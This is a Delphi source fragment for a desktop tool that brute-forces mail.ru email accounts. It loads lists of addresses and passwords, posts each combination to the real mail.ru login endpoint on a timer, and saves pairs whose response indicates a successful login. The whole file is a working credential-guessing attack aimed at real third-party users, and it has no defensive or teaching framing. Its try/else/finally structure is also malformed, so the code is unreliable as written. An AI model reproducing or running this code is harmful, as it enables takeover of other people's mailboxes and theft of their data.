var
  Form1: TForm1;
  i, j, l: integer;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  PasswordList.Items.LoadFromFile('Password.txt');
  MailList.Items.LoadFromFile('Mail.txt');
  i := 0;
  j := 0;
  l := 0;
end;

procedure TForm1.TimerTimer(Sender: TObject);
var
  PostData, ResponseData: TStringList;
  Password, Login, S1, S2, Domain: string;
  P: integer;
begin
  j := j + 1;
  if j = PasswordList.Count then
  begin
    l := l + 1;
    j := 0;
  end;
  PostData := TStringList.Create;
  Password := PasswordList.Items.Strings[j];
  PasswordList.ItemIndex := j;
  MailList.ItemIndex := l;
  S1 := MailList.Items.Strings[l];
  S2 := '@';
  P := Pos(S2, S1);
  Login := Copy(S1, 0, P - 1);
  Domain := Copy(S1, P + 1, Length(S1));
  try
    ResponseData := TStringList.Create;
    PostData.Add('Login=' + Login);
    PostData.Add('Domain=' + Domain);
    PostData.Add('Password=' + Password);
    ResponseData.Text := IdHTTP1.Post('http://win.mail.ru/cgi-bin/auth',
      PostData);
    if Pos('logout', ResponseData.Text) > 0 then
    begin
      GoodMail.Items.Add(MailList.Items.Strings[l] + ';' + Password);
    end
    else
      finally
        PostData.free;
        ResponseData.free;
      end;
    if MailList.Selected[MailList.Count - 1] and PasswordList.Selected
      [PasswordList.Count - 1] then
    begin
      Timer.Enabled := false;
    end;
    Inc(i);
  end;

  procedure TForm1.Button1Click(Sender: TObject);
  begin
    Timer.Enabled := true;
  end;